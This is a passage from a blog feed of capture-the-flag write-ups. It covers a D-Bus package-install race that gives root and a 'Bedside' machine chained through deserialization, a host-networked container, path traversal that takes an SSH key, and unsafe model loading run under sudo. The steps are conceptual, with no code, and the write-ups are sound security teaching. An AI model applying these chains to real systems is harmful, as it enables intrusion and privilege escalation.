  <li>Queue a first, harmless operation with a <strong>simulate</strong> flag. That needs no authorisation and
moves the transaction into a runnable state.</li>
  <li>Queue a second operation on the <strong>same transaction</strong> that overwrites the cached flags and
the cached package path with an attacker-built package.</li>
  <li>The state machine rejects the backwards state transition — but <strong>does not roll back the
cached values</strong>.</li>
  <li>The queued idle callback then reads the modified values and performs a <strong>real installation
as root</strong>.</li>
</ol>

<p>The authentication error that arrives afterwards is cosmetic: the package’s maintainer script
has already run. Ship a package whose post-install script drops a SUID shell and you’re root.
Cleanup was just removing the two proof packages.</p>

<h2 id="what-id-do-differently">What I’d do differently</h2>

<p>Root took far longer than it should have — and not because the exploit was hard. Once the
daemon was correlated with its advisory, exploitation took about two seconds. The delay was
<strong>route ranking</strong>:</p>

<ul>
  <li>A root daemon reachable over the system bus, with a known version, should outrank a narrow
kernel race.</li>
  <li><strong>Recency matters.</strong> Heuristics tuned to older privilege-escalation classes silently miss
something disclosed last quarter.</li>
  <li><strong>Sunk cost is real</strong> — exact symbols and measurable behaviour made the kernel path <em>feel</em>
close, so I kept tuning it.</li>
  <li>New workflow, adopted after this box: once you have a local shell, enumerate <strong>root D-Bus
services and package versions first</strong>, correlate them with current advisories, and test
deterministic user-space authorisation bugs <em>before</em> starting memory-corruption research.</li>
</ul>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>Validate SSRF policy <strong>after</strong> resolving the destination — not on the attacker’s text.</li>
  <li>Non-blind SSRF is a far bigger primitive than blind: a body preview reads internal pages.</li>
  <li>A loopback-only service stops being loopback-only the moment the edge proxies it by name.</li>
  <li>Audit real-time/WebSocket routes separately; authorisation rarely covers all of them.</li>
  <li>Check installed root daemons against <strong>recent</strong> advisories before writing a kernel exploit.</li>
  <li>“Race” doesn’t require nanosecond timing — event-loop ordering bugs are TOCTOU too.</li>
</ul>]]></content><author><name>ellell</name></author><category term="linux" /><category term="ssrf" /><category term="websocket" /><category term="dbus" /><category term="privesc" /><category term="race-condition" /><summary type="html"><![CDATA[A small analytics SPA whose only interesting feature is a URL validator — and that validator turns out to be the thread that unwinds the whole host. Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.]]></summary></entry><entry><title type="html">Bedside</title><link href="https://ellell.gitlab.io/htb/bedside/" rel="alternate" type="text/html" title="Bedside" /><published>2026-07-19T00:00:00+00:00</published><updated>2026-07-19T00:00:00+00:00</updated><id>https://ellell.gitlab.io/htb/bedside</id><content type="html" xml:base="https://ellell.gitlab.io/htb/bedside/"><![CDATA[<p>A medical-AI training platform. The chain is two separate deserialization bugs, bridged by a
container that shares the host’s network stack — which is how a service the outside world
can’t even reach becomes the way forward.</p>

<p><em>Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.</em></p>

<!-- more -->

<h2 id="recon">Recon</h2>

<p>A full TCP scan gives the usual shape: SSH, one web front end, and <strong>one port that is
filtered rather than closed</strong>. Filtered means something is listening and a firewall rule is
keeping you out — that’s not a dead end, it’s a note to yourself for later.</p>

<p>The web front end is a small marketing site. Its <code class="language-plaintext highlighter-rouge">robots.txt</code> disallows two directories that
don’t exist on that host, which is a strong hint the interesting content lives on a <strong>vhost</strong>
rather than under a path. Vhost fuzzing finds a second one: a file-upload portal for a
medical imaging pipeline.</p>

<p>Two details on that portal matter:</p>

<ul>
  <li>The response headers <strong>advertise the library doing the server-side conversion</strong>. A version
number in a header is a gift; even just the library name is enough to start reading.</li>
  <li>The copy says uploads “may be converted to standardized formats” before training.
Server-side conversion means a parser is involved — and parsers have bugs.</li>
</ul>

<h2 id="the-interesting-part">The interesting part</h2>

<p>The box’s theme is <strong>unsafe deserialization, twice</strong> — once in the document-conversion path,
once in the model-loading path.</p>

<p><strong>Leg one:</strong> the conversion library resolves a resource referenced <em>by the document</em> and
loads it from disk, with the path coming from the document itself instead of being confined
to the library’s own data directory. Chain two uploads — your payload file, then a document
that points at it — and parsing the document runs your code. That lands you as a service
account inside a container.</p>

<p><strong>The container is the pivot.</strong> It runs with the host’s network stack, so “localhost” from
inside it is the <em>host’s</em> localhost — and the port that was filtered from the outside is
sitting right there. Behind it is an internal image viewer built on a module CDN, which again
announces its exact version in a header. Its versioned-asset route skips the path
canonicalisation the normal route applies, and a couple of query flags switch off both the
module transformation and the normalising redirect that would otherwise neutralise a
traversal. That reads a file you shouldn’t have: a <strong>passwordless private key</strong> belonging to
a developer on the host.</p>

<p>Worth internalising: <code class="language-plaintext highlighter-rouge">curl</code> canonicalises <code class="language-plaintext highlighter-rouge">../</code> <strong>client-side</strong> unless you pass <code class="language-plaintext highlighter-rouge">--path-as-is</code>.
Without it your traversal is resolved on your own machine and never reaches the target — a
quiet way to conclude “not vulnerable” when you haven’t actually sent the request.</p>

<h2 id="reaching-the-user">Reaching the user</h2>

<p>The container account is deliberately shell-less (<code class="language-plaintext highlighter-rouge">nologin</code>) and can’t read the developer’s
home directory — so the key had to come <em>out</em> through the traversal rather than being read
in place. Pull it, drop it on your box, and SSH in as the developer.</p>

<h2 id="root">Root</h2>

<p><code class="language-plaintext highlighter-rouge">sudo -l</code> shows NOPASSWD on a single Python script — the exact command, <strong>no wildcard</strong>, so
there’s no argument-injection angle. Instead, look at what the script loads: a model
checkpoint, from a hardcoded directory, using the <strong>unsafe deserialization flag</strong>. That
directory sits on a volume the container service account can write to.</p>

<p>So: build a checkpoint in the container format the loader expects, plant it from the
container, and trigger the script as root. The deserialization happens <em>before</em> anything
validates the result, so it doesn’t matter that your file isn’t a real model — the payload
fires and the “loaded: []” afterwards is just noise.</p>

<p>One operational snag: the sudo rule sets <code class="language-plaintext highlighter-rouge">use_pty</code>, so a non-interactive invocation is
refused outright. You have to force PTY allocation on the SSH command itself.</p>

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li>Two deserialization sinks on one box — neither exotic, both “a dependency doing what it was told”.</li>
  <li>A container with <strong>host networking</strong> erases a boundary you were relying on. It’s how a filtered port becomes reachable.</li>
  <li>“Filtered” ≠ “closed”. It means something is there.</li>
  <li>Version strings in response headers turn a research task into a lookup.</li>
  <li>Client-side URL canonicalisation will silently defeat path traversal — use <code class="language-plaintext highlighter-rouge">--path-as-is</code>.</li>
  <li>Unsafe model loading converts “can write to a data directory” into root.</li>
  <li>Decoy branches are real: the trainer contained an elaborate staging/promotion mechanism that <em>looked</em> like the intended path and wasn’t. Understanding why it wasn’t was most of the work.</li>
</ul>]]></content><author><name>ellell</name></author><category term="linux" /><category term="deserialization" /><category term="path-traversal" /><category term="containers" /><category term="privesc" /><summary type="html"><![CDATA[A medical-AI training platform. The chain is two separate deserialization bugs, bridged by a container that shares the host’s network stack — which is how a service the outside world can’t even reach becomes the way forward. Spoiler-light notes — no flags, credentials or copy-paste exploits. Solve it yourself first.]]></summary></entry></feed>